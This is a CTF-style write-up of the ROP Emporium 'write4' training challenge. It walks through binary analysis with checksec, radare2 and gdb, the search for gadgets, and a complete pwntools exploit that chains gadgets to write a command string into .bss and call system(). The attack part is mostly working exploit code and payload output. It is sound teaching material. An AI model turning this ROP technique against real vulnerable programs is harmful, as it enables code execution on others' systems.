ROP Emporium - write4
With basic knowledge of how the GOT and PLT work and how function calls go through them along with a basic understanding of the amd64 ABI calling convention we can start looking for real gadgets now. In fact in this assignment we’ll look at a really helpful way of loading arbitrary data into memory.
Exploring the binary⌗
Just like before, let’s start off by exploring the binary bit to get a feel for what we’re dealing with here:
jasper@ropper:~/ropemporium/write4$ checksec write4
[*] '/home/jasper/ropemporium/write4/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
jasper@ropper:~/ropemporium/write4$ rabin2 -i write4
[Imports]
Num Vaddr Bind Type Name
1 0x004005d0 GLOBAL FUNC puts
2 0x004005e0 GLOBAL FUNC system
3 0x004005f0 GLOBAL FUNC printf
4 0x00400600 GLOBAL FUNC memset
5 0x00400610 GLOBAL FUNC __libc_start_main
6 0x00400620 GLOBAL FUNC fgets
7 0x00000000 WEAK NOTYPE __gmon_start__
8 0x00400630 GLOBAL FUNC setvbuf
7 0x00000000 WEAK NOTYPE __gmon_start__
Previously the calls to system()
had /bin/cat flag.txt
as the argument setup by the binary, however that is not the case here as the assignment states:
Our first foray into proper gadget use. A call to system() is still present but we’ll need to write a string into memory somehow.
Which is quickly verified too:
[0x004007b5]> afl
0x004005a0 3 26 sym._init
0x004005d0 1 6 sym.imp.puts
0x004005e0 1 6 sym.imp.system
0x004005f0 1 6 sym.imp.printf
0x00400600 1 6 sym.imp.memset
0x00400610 1 6 sym.imp.__libc_start_main
0x00400620 1 6 sym.imp.fgets
0x00400630 1 6 sym.imp.setvbuf
0x00400640 1 6 sub.__gmon_start_400640
0x00400650 1 41 entry0
0x00400680 4 50 -> 41 sym.deregister_tm_clones
0x004006c0 4 58 -> 55 sym.register_tm_clones
0x00400700 3 28 sym.__do_global_dtors_aux
0x00400720 4 38 -> 35 entry.init0
0x00400746 1 111 sym.main
0x004007b5 1 82 sym.pwnme
0x00400807 1 17 sym.usefulFunction
0x00400830 4 101 sym.__libc_csu_init
0x004008a0 1 2 sym.__libc_csu_fini
0x004008a4 1 9 sym._fini
[0x004007b5]> s sym.usefulFunction
[0x00400807]> pdb
/ (fcn) sym.usefulFunction 17
| sym.usefulFunction ();
| 0x00400807 55 push rbp
| 0x00400808 4889e5 mov rbp, rsp
| 0x0040080b bf0c094000 mov edi, str.bin_ls ; 0x40090c ; "/bin/ls"
| 0x00400810 e8cbfdffff call sym.imp.system ; int system(const char *string)
| 0x00400815 90 nop
| 0x00400816 5d pop rbp
\ 0x00400817 c3 ret
[0x00400807]>
Throughout these posts I’m exploring r2 myself too and while r2 has quite a few commands these are some of the most oft-used:
aaa
: analyse the binary in detailafl
: list local and imported functions
: seek to (address, function, string, etc)pdb
: disassemble basic block
A good resource I referenced was the Radare2 book along with the Radare2 wiki.
Looking for gadgets⌗
The challenge page for write4 explains how we can still go about getting our string into memory. For this assignment I went with /bin/cat flag.txt
however we might just as easily pop a shell or invoke any arbitrary command.
Whenever I need to load arbitrary data into the address space of a binary I’m exploiting I first look at the memory map of when it’s running to see the permissions:
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/jasper/ropemporium/write4/write4
0x00600000 0x00601000 r--p /home/jasper/ropemporium/write4/write4
0x00601000 0x00602000 rw-p /home/jasper/ropemporium/write4/write4
0x00007ffff7dd8000 0x00007ffff7dfd000 r--p /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7dfd000 0x00007ffff7f70000 r-xp /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f70000 0x00007ffff7fb9000 r--p /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb9000 0x00007ffff7fbc000 r--p /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fbc000 0x00007ffff7fbf000 rw-p /lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fbf000 0x00007ffff7fc5000 rw-p mapped
0x00007ffff7fce000 0x00007ffff7fd1000 r--p [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 r-xp [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 r--p /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 r-xp /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 r--p /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
The range from 0x00601000
to 0x00602000
is writable and part of it corresponds to the .bss
:
jasper@ropper:~/ropemporium/write4$ readelf -S write4
There are 31 section headers, starting at offset 0x1bf0:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[...]
[26] .bss NOBITS 0000000000601060 00001060
0000000000000030 0000000000000000 WA 0 0 32
This section is empty in the on-disk ELF file, but it expands when loaded to the specified size (0x30
bytes here). It’s oftentimes a safe space to write into, so we can use 0x601060
as the destination for our string.
Now that we have a suitable location it’s time to look for a gadget that will help us write to this address. The basic format we’re looking for is:
mov [regA], regB
or more precisely in Intel assembler format, any of the following:
mov WORD PTR [regA], regB
mov DWORD PTR [regA], regB
mov QWORD PTR [regA], regB
These allow for writing 2, 4 or 8 bytes of data respectively. The bracket notation means “the address pointed to by this register”.
By putting the address of .bss
into this regA
register, we can write the N bytes of data in regB
to this address.
Using r2 we can search for gadgets with a regular expression:
[0x00400650]> /R/ mov [dq]word
0x00400816 5d pop rbp
0x00400817 c3 ret
0x00400818 0f1f840000000000 nop dword [rax + rax]
0x00400820 4d893e mov qword [r14], r15
0x00400823 c3 ret
0x0040081a 8400 test byte [rax], al
0x0040081c 0000 add byte [rax], al
0x0040081e 0000 add byte [rax], al
0x00400820 4d893e mov qword [r14], r15
0x00400823 c3 ret
0x00400821 893e mov dword [rsi], edi
0x00400823 c3 ret
[0x00400650]>
We have two useful gadgets here:
0x00400820 4d893e mov qword [r14], r15
0x00400823 c3 ret
and
0x00400821 893e mov dword [rsi], edi
0x00400823 c3 ret
Notice how close the addresses are! Both of these are valid instructions and this is what makes the x86_64 instruction set so susceptible for ROP because the instruction are of variable width. Meaning, the instructions encoded as 4d893e
and 893e
are both valid despite being of different lengths. Furthermore, this is an instruction set comprised of a lot of instructions which makes it more likely that any given sequence of bytes is actually a valid sequence of instructions. ROP attacks make thankful use of these as gadgets. Platforms such as ARM are fixed width and don’t suffer from this problem/side-effect in part also because they’re RISC architectures.
Exploit time⌗
For this assignment I wrote two functions, write_to_mem()
and write_to_mem8()
. The latter felt a bit like cheating when using the string /bin//sh
which is exactly 8 bytes and used the gadget at 0x00400820
. So I used that initially to verify the approach.
Then I implemented the solution using the double word move which means it has to take into account the amount of data and write it to memory in chunks of 4 bytes. This is the done in the loop of write_to_mem()
. Once the destination memory has been prepared we pop the address into RDI and call system()
through the PLT:
jasper@ropper:~/ropemporium/write4$ python write4.py --debug
[+] Starting local process './write4': pid 22820
[DEBUG] Received 0x4a bytes:
'write4 by ROP Emporium\n'
'64bits\n'
'\n'
'Go ahead and give me the string already!\n'
'> '
[DEBUG] Preparing frames to write: "/bin"
[DEBUG] Preparing frames to write: "/cat"
[DEBUG] Preparing frames to write: " fla"
[DEBUG] Preparing frames to write: "g.tx"
[DEBUG] Preparing frames to write: "t"
[DEBUG] Sent 0x139 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 91 08 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 60 10 60 00 00 00 00 00 00 00 00 00 00 00 00 00 │`·`·│····│····│····│
00000040 93 08 40 00 00 00 00 00 2f 62 69 6e 00 00 00 00 │··@·│····│/bin│····│
00000050 21 08 40 00 00 00 00 00 91 08 40 00 00 00 00 00 │!·@·│····│··@·│····│
00000060 64 10 60 00 00 00 00 00 00 00 00 00 00 00 00 00 │d·`·│····│····│····│
00000070 93 08 40 00 00 00 00 00 2f 63 61 74 00 00 00 00 │··@·│····│/cat│····│
00000080 21 08 40 00 00 00 00 00 91 08 40 00 00 00 00 00 │!·@·│····│··@·│····│
00000090 68 10 60 00 00 00 00 00 00 00 00 00 00 00 00 00 │h·`·│····│····│····│
000000a0 93 08 40 00 00 00 00 00 20 66 6c 61 00 00 00 00 │··@·│····│ fla│····│
000000b0 21 08 40 00 00 00 00 00 91 08 40 00 00 00 00 00 │!·@·│····│··@·│····│
000000c0 6c 10 60 00 00 00 00 00 00 00 00 00 00 00 00 00 │l·`·│····│····│····│
000000d0 93 08 40 00 00 00 00 00 67 2e 74 78 00 00 00 00 │··@·│····│g.tx│····│
000000e0 21 08 40 00 00 00 00 00 91 08 40 00 00 00 00 00 │!·@·│····│··@·│····│
000000f0 70 10 60 00 00 00 00 00 00 00 00 00 00 00 00 00 │p·`·│····│····│····│
00000100 93 08 40 00 00 00 00 00 74 00 00 00 00 00 00 00 │··@·│····│t···│····│
00000110 21 08 40 00 00 00 00 00 93 08 40 00 00 00 00 00 │!·@·│····│··@·│····│
00000120 60 10 60 00 00 00 00 00 b9 05 40 00 00 00 00 00 │`·`·│····│··@·│····│
00000130 e0 05 40 00 00 00 00 00 0a │··@·│····│·│
00000139
[*] Switching to interactive mode
[DEBUG] Received 0x21 bytes:
'ROPE{a_placeholder_32byte_flag!}\n'
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
Here is the final exploit:
#!/usr/bin/env python2
import argparse
from pwn import *
def exploit():
p = process('./write4')
p.recvuntil('> ')
bss = p64(0x601060)
# Gadgets
nop = p64(0x4005b9)
pop_rdi = p64(0x400893)
# Functions (and PLT entries)
system_plt = p64(0x4005e0)
payload = 'A' * 40
# We could leak the libc addresses and use gets() instead (which only takes
# a single argument) and write that into .bss.
# Another approach would be to be able to push literal strings into memory.
payload += write_to_mem('/bin/cat flag.txt', bss)
payload += pop_rdi
payload += bss
payload += nop
payload += system_plt
#raw_input()
p.sendline(payload)
p.interactive()
def write_to_mem(input, dest):
"""
Probable intended solution for write4 which will actually write 4 bytes at
a time.
"""
# 400821: mov dword ptr [rsi], edi; ret;
mover = p64(0x400821)
# 400891: pop rsi; pop r15; ret;
pop_rsi = p64(0x400891)
# 400893: pop rdi; ret;
pop_rdi = p64(0x400893)
chain = ''
if type(dest) != int:
dest = u64(dest)
# Write the input in chunks of 4 bytes
m = 0
while True:
log.debug('Preparing frames to write: "{}"'.format(input[m:m+4]))
chain += pop_rsi
chain += p64(dest + m)
chain += p64(0x0)
chain += pop_rdi
chain += p64(to_le_dec(input[m:m+4]))
chain += mover
if m+4 >= len(input):
break
else:
m += 4
return chain
def write_to_mem8(input, dest):
"""
Return payload to write data to the destination memory address.
Caller should handle correctly sizing the input (4 or 8 bytes).
Destination should already be a p64.
write_to_mem8('/bin//sh', bss)
"""
# mov qword ptr [r14], r15; ret;
mover = p64(0x400820)
# pop r14; pop r15; ret;
popper = p64(0x400890)
chain = popper
chain += dest
chain += p64(to_le_dec(input))
chain += mover
return chain
def to_le_dec(input):
"""
Convert a string to LE decimal:
'/bin//sh' becomes '7526411283028599343'. This can then
be used again for p64() or hex().
"""
return int('0x' + input[::-1].encode('hex'), 16)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--arch', '-a',
help='Binary architecture', default='amd64')
parser.add_argument('--os', '-O',
help='Operating system', default='linux')
parser.add_argument('--debug', '-d',
help='Enable debug output', default=False,
action='store_true')
args = parser.parse_args()
context(os=args.os, arch=args.arch)
if args.debug:
context.log_level = 'debug'
exploit()
if __name__ == '__main__':
main()